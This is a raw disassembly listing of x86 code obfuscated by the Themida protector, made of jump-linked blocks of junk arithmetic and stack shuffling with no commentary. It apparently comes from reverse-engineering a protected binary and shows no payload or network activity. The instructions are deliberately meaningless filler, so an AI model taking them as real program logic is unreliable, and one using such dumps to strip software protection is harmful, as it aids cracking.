loc_564B59: ; CODE XREF: Themida_:0056B999j
mov eax, [esp]
push 5491h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_56406C
; ---------------------------------------------------------------------------
loc_564B74: ; CODE XREF: Themida_:00561430j
not eax
push 5F35h
mov [esp], eax
not dword ptr [esp]
jmp loc_55FFFF
; ---------------------------------------------------------------------------
loc_564B86: ; CODE XREF: Themida_:0056BF49j
dec ebx
jmp loc_56D8DF
; ---------------------------------------------------------------------------
loc_564B8C: ; CODE XREF: Themida_:0055FDB5j
add edi, 4
jmp loc_56DA77
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4B61h
mov [esp], edi
push esi
mov esi, esp
add esi, 4
jmp loc_55D87A
; ---------------------------------------------------------------------------
loc_564BB1: ; CODE XREF: Themida_:0056F4C1j
add eax, esi
pop esi
sub ebx, eax
mov eax, [esp]
jmp loc_56A385
; ---------------------------------------------------------------------------
loc_564BBE: ; CODE XREF: Themida_:0055EDC1j
pop ecx
jmp loc_56B2F2
; ---------------------------------------------------------------------------
loc_564BC4: ; CODE XREF: Themida_:0056EB92j
pop edi
add ebx, esi
sub ebx, 2D7F737Dh
pop esi
xor ebx, [esp]
jmp loc_56915D
; ---------------------------------------------------------------------------
loc_564BD6: ; CODE XREF: Themida_:0056215Aj
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_56846E
; ---------------------------------------------------------------------------
loc_564BEB: ; CODE XREF: Themida_:0056DE1Aj
push edi
jmp loc_5647CA
; ---------------------------------------------------------------------------
loc_564BF1: ; CODE XREF: Themida_:00568CE4j
mov [esp], eax
push edx
jmp loc_5659C1
; ---------------------------------------------------------------------------
loc_564BFA: ; CODE XREF: Themida_:0056F3B9j
pop edi
add esp, 4
xor esi, [esp]
jmp loc_563BC4
; ---------------------------------------------------------------------------
loc_564C09: ; CODE XREF: Themida_:00566471j
push eax
mov eax, 57C32D7Bh
add ebx, eax
jmp loc_566C03
; ---------------------------------------------------------------------------
loc_564C16: ; CODE XREF: Themida_:0056CEACj
add eax, 658D498Eh
push 4229h
mov [esp], edx
mov edx, 5A1418CDh
xor edx, 5CDB01CAh
and edx, 23AC5F2Ch
sub edx, 0FD030392h
shl edx, 4
jmp loc_5654CC
; ---------------------------------------------------------------------------
loc_564C42: ; CODE XREF: Themida_:00568D54j
sub esi, 21691F9Fh
sub esi, eax
add esi, 21691F9Fh
add esi, 4CB21933h
push ecx
mov ecx, 1D74EE7h
add esi, 5070C05h
sub esi, ecx
sub esi, 5070C05h
pop ecx
add esi, 607B568Ch
mov eax, [esp]
add esp, 4
jmp loc_563029
; ---------------------------------------------------------------------------
loc_564C7F: ; CODE XREF: Themida_:005624F6j
dec edx
sub edx, 9713A80h
push edx
pop eax
mov edx, [esp]
add esp, 4
push 531Fh
mov [esp], edi
jmp loc_568D77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_564C9E: ; CODE XREF: sub_59DB3D-34353j
pop eax
push 66A6h
mov [esp+28h+var_28], edi
jmp loc_565171
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_564CAC: ; CODE XREF: Themida_:00562D92j
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_56916F
; ---------------------------------------------------------------------------
loc_564CBA: ; CODE XREF: Themida_:00560347j
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_56CCBD
; ---------------------------------------------------------------------------
loc_564CCF: ; CODE XREF: Themida_:005659B2j
push edi
jmp loc_5617FD
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_56A0EF
; ---------------------------------------------------------------------------
loc_564CDE: ; CODE XREF: Themida_:00565D35j
push small 4FDCh
mov [esp], di
mov bp, [esp]
add esp, 2
mov di, [esp]
add esp, 2
jmp loc_563E2A
; ---------------------------------------------------------------------------
loc_564CF9: ; CODE XREF: Themida_:0056AAADj
mov ebx, 79882CADh
jmp loc_565EE1
; ---------------------------------------------------------------------------
loc_564D03: ; CODE XREF: Themida_:00563210j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push edi
mov edi, 50F2851h
shl edi, 8
jmp loc_56E594
; ---------------------------------------------------------------------------
loc_564D26: ; CODE XREF: Themida_:0055D762j
sub ebp, 60B6679Dh
xor ebp, 37DF18AEh
jmp loc_56EFDC
; ---------------------------------------------------------------------------
loc_564D37: ; CODE XREF: Themida_:00564FF4j
neg esi
neg esi
xor esi, 0B625220h
push ecx
mov ecx, 0F620137h
jmp loc_56B7A2
; ---------------------------------------------------------------------------
loc_564D4C: ; CODE XREF: Themida_:005663EFj
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_56A497
; ---------------------------------------------------------------------------
loc_564D65: ; CODE XREF: Themida_:0056CA0Aj
push esi
not dword ptr [esp]
pop esi
push edi
push 4570h
mov [esp], ebx
mov ebx, 65552F6Ch
sub ebx, 0B0541FFh
jmp loc_56C343
; ---------------------------------------------------------------------------
loc_564D83: ; CODE XREF: Themida_:0055FCFDj
add esi, edi
add esi, 6C0B0F9Fh
jmp loc_56706F
; ---------------------------------------------------------------------------
loc_564D90: ; CODE XREF: Themida_:00566D0Aj
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_569057
; ---------------------------------------------------------------------------
loc_564D9C: ; CODE XREF: Themida_:005669D7j
mov esi, 37A710B9h
push eax
mov eax, 0E9B11C29h
jmp loc_56B779
; ---------------------------------------------------------------------------
loc_564DAC: ; CODE XREF: Themida_:0056DF41j
push ebx
mov ebx, 49D571CEh
push ebp
push 4DE9h
mov [esp], ecx
push 41D702F3h
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 5106016Fh
dec ecx
sub ecx, 729AF4E6h
jmp loc_56147C
; ---------------------------------------------------------------------------
loc_564DDC: ; CODE XREF: Themida_:0056DD2Dj
push dword ptr [esp+4]
jmp loc_56ECEF
; ---------------------------------------------------------------------------
loc_564DE5: ; CODE XREF: Themida_:0056049Cj
sub ch, 2Ch
jmp loc_55E46C
; ---------------------------------------------------------------------------
loc_564DED: ; CODE XREF: Themida_:0056975Aj
add ebp, 0BC98DC5h
jmp loc_56CC5F
; ---------------------------------------------------------------------------
loc_564DF8: ; CODE XREF: Themida_:0056DAE3j
xor eax, 4EF26AB6h
push edi
push 44B1545Bh
jmp loc_55F111
; ---------------------------------------------------------------------------
loc_564E08: ; CODE XREF: Themida_:00563B47j
push ebp
mov ebp, 4E360804h
add edi, ebp
pop ebp
or edx, edi
pop edi
push ecx
mov ecx, 6D0D4885h
jmp loc_56D560
; ---------------------------------------------------------------------------
loc_564E1F: ; CODE XREF: Themida_:00560CB3j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564E24: ; CODE XREF: Themida_:0056EB16j
push 0D7C3F28h
pop ebx
sub ebx, 86FFFBEh
push ebx
pop ecx
pop ebx
jmp loc_5683CF
; ---------------------------------------------------------------------------
loc_564E38: ; CODE XREF: Themida_:0056B7FAj
mov esi, [esp]
add esp, 4
jmp loc_55E82D
; ---------------------------------------------------------------------------
loc_564E43: ; CODE XREF: Themida_:0056A4C5j
mov ecx, esi
pop esi
mov ebx, ecx
pop ecx
push esi
mov esi, 1C986B17h
neg esi
dec esi
sub esi, 0C04E56FCh
shl esi, 6
neg esi
shr esi, 4
inc esi
sub esi, 0E193B53Bh
jmp loc_57165B
; ---------------------------------------------------------------------------
loc_564E6C: ; CODE XREF: Themida_:0057179Dj
pop ebx
neg ecx
inc ecx
xor ecx, 7FA32B8Eh
mov edx, ecx
pop ecx
push 333Ah
jmp loc_56634A
; ---------------------------------------------------------------------------
loc_564E83: ; CODE XREF: Themida_:0056CEF3j
xor ecx, 0D06D1FC4h
add ebx, ecx
mov ecx, [esp]
add esp, 4
and edx, ebx
pop ebx
push 572Ch
mov [esp], esi
mov esi, 69B7740Bh
neg esi
push edx
mov edx, 9C63DE94h
xor esi, edx
mov edx, [esp]
add esp, 4
add edx, esi
jmp loc_5623E4
; ---------------------------------------------------------------------------
loc_564EBE: ; CODE XREF: Themida_:0056EA7Cj
pop esi
xor esi, edi
jmp loc_55FEED
; ---------------------------------------------------------------------------
loc_564EC6: ; CODE XREF: Themida_:00569F66j
pop esp
push ebp
jmp loc_569C8A
; ---------------------------------------------------------------------------
loc_564ECD: ; CODE XREF: Themida_:00569E9Bj
push edi
mov edi, 0DE86FCDh
add ebx, edi
pop edi
add ebx, edi
sub ebx, 0DE86FCDh
mov edi, [esp]
jmp loc_55E4A6
; ---------------------------------------------------------------------------
loc_564EE6: ; CODE XREF: Themida_:0056856Dj
push 2E70h
mov [esp], edx
push eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564EF5: ; CODE XREF: Themida_:0056877Dj
pop dword ptr [esp]
pop esp
add eax, 4
xchg eax, [esp]
mov esp, [esp]
bswap eax
push 71D6h
jmp loc_55E2FB
; ---------------------------------------------------------------------------
loc_564F0E: ; CODE XREF: Themida_:0056912Ej
push cx
mov ch, 6Bh
push cx
push 1FD4h
mov [esp], ebx
jmp loc_56DBBA
; ---------------------------------------------------------------------------
loc_564F21: ; CODE XREF: Themida_:0055F56Ej
add bl, 8Eh
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_566F26
; ---------------------------------------------------------------------------
loc_564F35: ; CODE XREF: Themida_:005646BDj
mov eax, [esp]
add esp, 4
not eax
xor eax, 59DE53ECh
jmp loc_56290E
; ---------------------------------------------------------------------------
loc_564F4A: ; CODE XREF: Themida_:00569D5Fj
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564F60: ; CODE XREF: Themida_:0055F863j
mov edx, 53D52490h
mov ebx, edx
pop edx
mov edx, 0C4D1D08Eh
sub edx, ebx
jmp loc_56DB09
; ---------------------------------------------------------------------------
loc_564F74: ; CODE XREF: Themida_:0056303Bj
mov edi, 4D852F26h
add [esp+4], edi
push dword ptr [esp]
jmp loc_56680E
; ---------------------------------------------------------------------------
loc_564F85: ; CODE XREF: Themida_:0055E0A2j
add esp, 4
sub eax, 43A067EDh
push ebp
mov ebp, esp
push edi
mov edi, 7CA14E37h
not edi
xor edi, 835EB1CCh
jmp loc_560FBB
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_563C91
; ---------------------------------------------------------------------------
loc_564FB1: ; CODE XREF: Themida_:0056EEDEj
push edx
mov edx, 2BBE36ECh
shl edx, 6
jmp loc_56A2DF
; ---------------------------------------------------------------------------
loc_564FBF: ; CODE XREF: Themida_:0056D24Cj
add edi, 4
jmp loc_567C99
; ---------------------------------------------------------------------------
loc_564FCA: ; CODE XREF: Themida_:0055EFA0j
push cx
mov ch, 0C4h
push edx
push ecx
mov cl, 0B9h
jmp loc_5714E7
; ---------------------------------------------------------------------------
loc_564FD7: ; CODE XREF: Themida_:0056C66Ej
mov edi, edx
pop edx
push edi
pop ebp
push dword ptr [esp]
pop edi
push edi
jmp loc_56C6E7
; ---------------------------------------------------------------------------
loc_564FE6: ; CODE XREF: Themida_:00566834j
mov ebp, 203274AEh
xor esi, ebp
pop ebp
and esi, 42D92EC9h
jmp loc_564D37
; ---------------------------------------------------------------------------
loc_564FF9: ; CODE XREF: Themida_:00565079j
mov ch, ah
push ebx
mov bh, dl
jmp loc_55D317
; ---------------------------------------------------------------------------
loc_565003: ; CODE XREF: Themida_:0056E025j
pop cx
jmp loc_569A0E
; ---------------------------------------------------------------------------
loc_56500A: ; CODE XREF: Themida_:0056A148j
push esp
pop ebp
push edx
sub esp, 4
mov [esp], edi
push ebp
jmp loc_572122
; ---------------------------------------------------------------------------
loc_56501C: ; CODE XREF: Themida_:005717EDj
add [esp+4], ebp
add dword ptr [esp+4], 2F855D9h
add dword ptr [esp+4], 57E0698Bh
sub dword ptr [esp+4], 5E9275A9h
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_562331
; ---------------------------------------------------------------------------
loc_565043: ; CODE XREF: Themida_:00569372j
mov esi, [esp]
add esp, 4
jmp loc_561060
; ---------------------------------------------------------------------------
loc_565051: ; CODE XREF: Themida_:00560E03j
add edx, 0C07E388Dh
jmp loc_567DFB
; ---------------------------------------------------------------------------
loc_56505C: ; CODE XREF: Themida_:0055D53Ej
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_56A039
; ---------------------------------------------------------------------------
loc_56506D: ; CODE XREF: Themida_:00568EB5j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_56F064
; ---------------------------------------------------------------------------
loc_565078: ; CODE XREF: Themida_:0056D32Cj
push ecx
jmp loc_564FF9
; ---------------------------------------------------------------------------
loc_56507E: ; CODE XREF: Themida_:005728A6j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
jmp loc_56EABA
; ---------------------------------------------------------------------------
loc_565091: ; CODE XREF: Themida_:00571BE1j
inc edi
xor edi, 0DEE5786h
sub edi, 6C0034B6h
jmp loc_5674E3
; ---------------------------------------------------------------------------
loc_5650A3: ; CODE XREF: Themida_:00562441j
xchg edi, [esp]
mov esp, [esp]
push 4F80h
mov [esp], edi
push ebp
push edx
jmp loc_56F2F1
; ---------------------------------------------------------------------------
loc_5650B8: ; CODE XREF: Themida_:0056D9BAj
xor esi, 0B990052h
xor esi, 49EBA31Dh
xor ebp, esi
pop esi
sub esp, 4
jmp loc_567FE4
; ---------------------------------------------------------------------------
loc_5650D2: ; CODE XREF: Themida_:0056D1C6j
pop ebp
jmp loc_567AFE
; ---------------------------------------------------------------------------
loc_5650D8: ; CODE XREF: Themida_:00570913j
push ecx
mov ecx, esp
jmp loc_55EEC6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 18A9h
jmp loc_5693EC
; ---------------------------------------------------------------------------
loc_5650EE: ; CODE XREF: Themida_:0055FF4Fj
pop eax
mov ebx, [esp]
jmp loc_563C37
; ---------------------------------------------------------------------------
loc_5650F7: ; CODE XREF: Themida_:0056E137j
or ecx, 4EE1768Fh
jmp loc_561ABA
; ---------------------------------------------------------------------------
mov ax, [esp]
push 389Fh
jmp loc_56A9DF
; ---------------------------------------------------------------------------
loc_565110: ; CODE XREF: Themida_:00569615j
pop edx
jmp loc_56E416
; ---------------------------------------------------------------------------
loc_565116: ; CODE XREF: Themida_:0056E61Bj
add esp, 4
jmp loc_560747
; ---------------------------------------------------------------------------
loc_56511E: ; CODE XREF: Themida_:0056BD86j
shl bx, 8
add bx, 1535h
sub si, bx
jmp loc_561D3C
; ---------------------------------------------------------------------------
loc_56512F: ; CODE XREF: Themida_:0056B099j
add esp, 4
jmp loc_57028A
; ---------------------------------------------------------------------------
loc_565137: ; CODE XREF: Themida_:0056478Ej
push edi
mov edi, esp
jmp loc_571C0F
; ---------------------------------------------------------------------------
loc_56513F: ; CODE XREF: Themida_:00566B80j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 6B14h
mov [esp], esi
mov esi, 33083381h
push eax
mov eax, 0
sub eax, esi
mov esi, eax
jmp loc_569BE2
; ---------------------------------------------------------------------------
loc_56516A: ; CODE XREF: Themida_:00571D5Dj
mov dl, 3Bh
jmp loc_570C1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_565171: ; CODE XREF: sub_59DB3D-38E96j
push 37CE4DF2h
pop edi
sub edi, 4095093Dh
neg edi
sub edi, 8C6BB47h
jmp loc_56C225
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56518A: ; CODE XREF: Themida_:00562543j
inc si
shl si, 5
xor si, 2B24h
jmp loc_56A9F9
; ---------------------------------------------------------------------------
loc_56519A: ; CODE XREF: Themida_:005710D7j
mov [esp], dx
push ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5651A6: ; CODE XREF: Themida_:0055DEC6j
push edx
mov edx, 20h
add edx, edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_570567
; ---------------------------------------------------------------------------
loc_5651C5: ; CODE XREF: Themida_:005635D6j
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_56D7FA
; ---------------------------------------------------------------------------
loc_5651D9: ; CODE XREF: Themida_:005717ABj
xor edx, esi
pop esi
add ebp, edx
jmp loc_56547E
; ---------------------------------------------------------------------------
loc_5651E3: ; CODE XREF: Themida_:00572A53j
add ecx, 70CF1E38h
pop esi
mov esi, ecx
mov ecx, [esp]
push ecx
jmp loc_55E1A0
; ---------------------------------------------------------------------------
loc_5651F5: ; CODE XREF: Themida_:0056ED35j
add ebx, eax
sub ebx, 17814D51h
mov eax, [esp]
add esp, 4
push esi
mov esi, 2
push edi
mov edi, 37335753h
jmp loc_56EB76
; ---------------------------------------------------------------------------
loc_565214: ; CODE XREF: Themida_:0056771Fj
push 4016h
mov [esp], esi
push 15ECh
mov [esp], ecx
sub esp, 4
mov [esp], eax
mov eax, 77F61EF7h
mov ecx, eax
jmp loc_55E6E2
; ---------------------------------------------------------------------------
loc_565239: ; CODE XREF: Themida_:0055F333j
add esp, 4
push esi
push esp
pop esi
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_5606D8
; ---------------------------------------------------------------------------
loc_56524D: ; CODE XREF: Themida_:0056F426j
push dword ptr [esp+4]
pop ebx
jmp loc_56526A
; ---------------------------------------------------------------------------
loc_565257: ; CODE XREF: Themida_:0055D875j
shr edi, 1
shr edi, 8
add edi, 0CEEDE517h
sub ecx, edi
pop edi
jmp loc_56B8C5
; ---------------------------------------------------------------------------
loc_56526A: ; CODE XREF: Themida_:00565252j
pop dword ptr [esp]
mov esp, [esp]
movzx ecx, ax
push 22F3h
mov [esp], ecx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_565280: ; CODE XREF: Themida_:00560B25j
xchg edi, [esp]
pop esp
jmp loc_560FA7
; ---------------------------------------------------------------------------
loc_565289: ; CODE XREF: Themida_:00571C4Fj
push edi
mov edi, 76334CF2h
sub eax, edi
jmp loc_5669DC
; ---------------------------------------------------------------------------
loc_565296: ; CODE XREF: Themida_:0055D627j
dec word ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5652A0: ; CODE XREF: Themida_:0055DDC7j
sub esp, 4
mov [esp], edx
jmp loc_55E967
; ---------------------------------------------------------------------------
loc_5652AE: ; CODE XREF: Themida_:00571DC4j
mov eax, 695343A2h
mov ebp, eax
pop eax
jmp loc_5642AF
; ---------------------------------------------------------------------------
loc_5652BB: ; CODE XREF: Themida_:0055FAC5j
mov [esp], ebx
sub esp, 4
mov [esp], eax
mov eax, 7F696B02h
jmp loc_56851D
; ---------------------------------------------------------------------------
loc_5652D1: ; CODE XREF: Themida_:0056C494j
xor dl, ah
jmp loc_562E83
; ---------------------------------------------------------------------------
loc_5652D8: ; CODE XREF: Themida_:0055E7FCj
mov ebp, esp
push 42C4h
jmp loc_56D50F
; ---------------------------------------------------------------------------
loc_5652E4: ; CODE XREF: Themida_:00570CDFj
pop esp
sub esp, 4
mov [esp], edi
push ebp
push 39DA4785h
mov ebp, [esp]
push 1178h
mov [esp], edx
mov edx, esp
push esi
mov esi, 76A3CF4h
and esi, 1AD1D6Ah
or esi, 184D1D87h
shr esi, 2
add esi, 7882351Ch
neg esi
sub esi, 81228367h
add edx, esi
pop esi
push edi
mov edi, 43FC51AFh
dec edi
sub edi, 0FFFFFFFFh
sub edi, 43FC51ABh
add edx, edi
jmp loc_56DDC6
; ---------------------------------------------------------------------------
loc_56533B: ; CODE XREF: Themida_:005726C7j
add ecx, 4
jmp loc_55DAA4
; ---------------------------------------------------------------------------
loc_565346: ; CODE XREF: Themida_:00566C18j
pop dword ptr [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_566B26
; ---------------------------------------------------------------------------
loc_565354: ; CODE XREF: Themida_:005622C3j
push ecx
mov ecx, 0
add ecx, ebx
add dword ptr [ecx], 1
pop ecx
push dword ptr [esp]
pop ebx
jmp loc_567AC9
; ---------------------------------------------------------------------------
loc_56536C: ; CODE XREF: Themida_:00563ABDj
and eax, edx
mov edx, [esp]
push 7D50h
mov [esp], ecx
push esp
pop ecx
push edi
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_56AF37
; ---------------------------------------------------------------------------
loc_56538E: ; CODE XREF: Themida_:0055D893j
mov esp, [esp]
mov [esp], esi
mov esi, esp
push 3109h
mov [esp], ebp
push ebx
push 478430CBh
jmp loc_5725B8
; ---------------------------------------------------------------------------
loc_5653A9: ; CODE XREF: Themida_:0056F5C9j
mov [esp], edi
mov edi, 4
jmp loc_56075F
; ---------------------------------------------------------------------------
loc_5653B6: ; CODE XREF: Themida_:0056023Cj
add edx, 4F305229h
and edx, 7F025C33h
shr edx, 5
xor edx, 2B650513h
xor edx, 38B835C4h
push eax
mov eax, 0EC0ACDEEh
add edx, eax
pop eax
mov esi, edx
pop edx
add ebx, 699819F0h
add ebx, esi
jmp loc_56B16D
; ---------------------------------------------------------------------------
loc_5653EA: ; CODE XREF: Themida_:0055ECF9j
add esp, 4
push edi
mov edi, 6CF15099h
shl edi, 7
neg edi
shr edi, 8
inc edi
push esi
mov esi, 0E20AFFC8h
jmp loc_561A40
; ---------------------------------------------------------------------------
loc_565407: ; CODE XREF: Themida_:0056141Ej
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
div cx
push small 3263h
mov [esp], dx
push ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56542F: ; CODE XREF: Themida_:00560525j
mov edi, 57296A13h
jmp loc_56D90D
; ---------------------------------------------------------------------------
loc_565439: ; CODE XREF: Themida_:00560C52j
dec dl
sub dl, 11h
add bh, dl
jmp loc_563FB3
; ---------------------------------------------------------------------------
loc_565445: ; CODE XREF: Themida_:005610ADj
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
push 4195h
mov [esp], esi
mov esi, 5CDC4A72h
jmp loc_55D6F7
; ---------------------------------------------------------------------------
loc_565463: ; CODE XREF: Themida_:005631FEj
sub ebp, 5B7254BEh
add ebp, ecx
add ebp, 5B7254BEh
jmp loc_56D66F
; ---------------------------------------------------------------------------
loc_565476: ; CODE XREF: Themida_:0056CA7Dj
pop edi
sub ecx, esi
jmp loc_56D8ED
; ---------------------------------------------------------------------------
loc_56547E: ; CODE XREF: Themida_:005651DEj
mov edx, [esp]
jmp loc_55D3B1
; ---------------------------------------------------------------------------
loc_565486: ; CODE XREF: Themida_:0055F88Ej
xor eax, edi
pop edi
mov esi, eax
pop eax
sub ecx, esi
pop esi
xor eax, ecx
pop ecx
push edi
push edx
push 7EB87E6Ah
pop edx
jmp loc_56D662
; ---------------------------------------------------------------------------
loc_56549F: ; CODE XREF: Themida_:00572B03j
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
push eax
push 5FBCh
mov [esp], esi
jmp loc_56D2ED
; ---------------------------------------------------------------------------
loc_5654BF: ; CODE XREF: Themida_:00561770j
pop edx
jmp loc_55F6B5
; ---------------------------------------------------------------------------
loc_5654C5: ; CODE XREF: Themida_:00570EE7j
and ebp, ecx
jmp loc_56391B
; ---------------------------------------------------------------------------
loc_5654CC: ; CODE XREF: Themida_:00564C3Dj
push ebp
mov ebp, 64F12ECh
xor ebp, 76DB270Eh
shr ebp, 2
xor ebp, 1FE1660h
sub edx, ebp
pop ebp
or edx, 36A554C6h
push esi
mov esi, 24C932EBh
dec esi
jmp loc_56E2D8
; ---------------------------------------------------------------------------
loc_5654F6: ; CODE XREF: Themida_:0056A51Bj
add edx, edi
sub edx, 5652542Bh
jmp loc_56A0DB
; ---------------------------------------------------------------------------
loc_565503: ; CODE XREF: Themida_:0056CAD5j
mov dl, al
mov al, [esp+2]
jmp loc_565EA8
; ---------------------------------------------------------------------------
loc_56550E: ; CODE XREF: Themida_:0056688Fj
add bh, cl
pop ecx
push eax
jmp loc_56DAF4
; ---------------------------------------------------------------------------
loc_565517: ; CODE XREF: Themida_:005607F5j
sub esp, 4
mov [esp], esi
mov esi, 35696A54h
push 3BF4h
jmp loc_56489D
; ---------------------------------------------------------------------------
loc_56552C: ; CODE XREF: Themida_:0056C574j
add esp, 4
xchg ebx, [esp]
pop esp
jmp loc_562539
; ---------------------------------------------------------------------------
loc_56553B: ; CODE XREF: Themida_:0056C8D2j
add esp, 4
shl eax, cl
push 4B9h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
jmp loc_56E9BA
; ---------------------------------------------------------------------------
loc_565560: ; CODE XREF: Themida_:0056047Cj
mov esi, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_56AB36
; ---------------------------------------------------------------------------
loc_565579: ; CODE XREF: Themida_:0056571Bj
push edx
jmp loc_55D70B
; ---------------------------------------------------------------------------
loc_56557F: ; CODE XREF: Themida_:00569B95j
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push 4566h
mov [esp], edi
push 4606h
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
pop edx
jmp loc_562794
; ---------------------------------------------------------------------------
loc_5655AF: ; CODE XREF: Themida_:00570089j
sub esi, 2C1B4222h
jmp loc_55EE49
; ---------------------------------------------------------------------------
loc_5655BA: ; CODE XREF: Themida_:00562348j
add ebx, ebp
pop ebp
jmp loc_56C5FC
; ---------------------------------------------------------------------------
loc_5655C2: ; CODE XREF: Themida_:00568D12j
mov [esp], eax
jmp loc_563FD0
; ---------------------------------------------------------------------------
loc_5655CA: ; CODE XREF: Themida_:00563832j
add bl, dl
pop edx
add al, 7Ch
jmp loc_56D0B2
; ---------------------------------------------------------------------------
push small 4FF7h
push small 761h
push sp
jmp loc_55EBB0
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_561C35
; ---------------------------------------------------------------------------
loc_5655F4: ; CODE XREF: Themida_:0056B97Cj
add ebp, ebx
pop ebx
jmp loc_565E2D
; ---------------------------------------------------------------------------
loc_5655FC: ; CODE XREF: Themida_:00565F93j
sub esp, 4
mov [esp], edx
jmp loc_570903
; ---------------------------------------------------------------------------
loc_565607: ; CODE XREF: Themida_:0055D80Bj
add ecx, ebx
jmp loc_56ECFD
; ---------------------------------------------------------------------------
loc_56560E: ; CODE XREF: Themida_:0056284Dj
sub ebp, edx
jmp loc_572633
; ---------------------------------------------------------------------------
xor [esp], cx
xor cx, [esp]
jmp loc_5633B7
; ---------------------------------------------------------------------------
loc_565622: ; CODE XREF: Themida_:0056332Dj
mov edi, [esp]
add esp, 4
sub edi, eax
pop eax
jmp loc_56DE69
; ---------------------------------------------------------------------------
loc_565630: ; CODE XREF: Themida_:0056339Cj
push edx
jmp loc_570B08
; ---------------------------------------------------------------------------
loc_565636: ; CODE XREF: Themida_:0056FBAEj
mov ebp, edi
mov ebx, ebp
pop ebp
pop edi
xor ebx, ecx
pop ecx
inc ebx
shl ebx, 7
add ebx, 3441DB04h
sub eax, ebx
jmp loc_56C789
; ---------------------------------------------------------------------------
loc_565650: ; CODE XREF: Themida_:0056E7E7j
xor dx, 5D49h
push edi
jmp loc_568AED
; ---------------------------------------------------------------------------
loc_56565B: ; CODE XREF: Themida_:00566613j
sub ebx, edx
add ebx, 54AC636Eh
jmp loc_571E9E
; ---------------------------------------------------------------------------
loc_565668: ; CODE XREF: Themida_:00563A89j
not eax
shl eax, 2
add eax, 0AEE3F6Fh
add eax, 0AEFE4F1Fh
jmp loc_5623DC
; ---------------------------------------------------------------------------
loc_56567C: ; CODE XREF: Themida_:005649D9j
mov ebx, 6B060F5h
dec ebx
or ebx, 5B3223F5h
xor ebx, 6E1C4163h
sub ecx, 693C4F11h
add ecx, 4790726Dh
add ecx, ebx
sub ecx, 4790726Dh
add ecx, 693C4F11h
pop ebx
and ecx, 75AE34FCh
jmp loc_567FBA
; ---------------------------------------------------------------------------
loc_5656B4: ; CODE XREF: Themida_:0056DC1Dj
mov esp, [esp]
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5656C0: ; CODE XREF: Themida_:0055F300j
sub edx, ecx
jmp loc_56FB77
; ---------------------------------------------------------------------------
loc_5656C7: ; CODE XREF: Themida_:00569D96j
mov ebp, 326849F2h
push edx
mov edx, 14B8388Eh
jmp loc_56040E
; ---------------------------------------------------------------------------
loc_5656D7: ; CODE XREF: Themida_:0056021Fj
shr eax, 5
add eax, 30C70E70h
jmp loc_56BD18
; ---------------------------------------------------------------------------
loc_5656E4: ; CODE XREF: Themida_:005670C3j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_565D62
; ---------------------------------------------------------------------------
loc_5656FA: ; CODE XREF: Themida_:005607C9j
xor ebp, 103999h
and eax, ebp
push dword ptr [esp]
jmp loc_56CDA9
; ---------------------------------------------------------------------------
loc_56570A: ; CODE XREF: Themida_:0056B101j
mov [esp], ebp
mov ebp, 2
push edx
push 658Bh
mov [esp], edi
jmp loc_565579
; ---------------------------------------------------------------------------
loc_565720: ; CODE XREF: Themida_:005688DFj
shl ebp, 1
not ebp
jmp loc_560F0B
; ---------------------------------------------------------------------------
loc_565729: ; CODE XREF: Themida_:0056B77Bj
pop eax
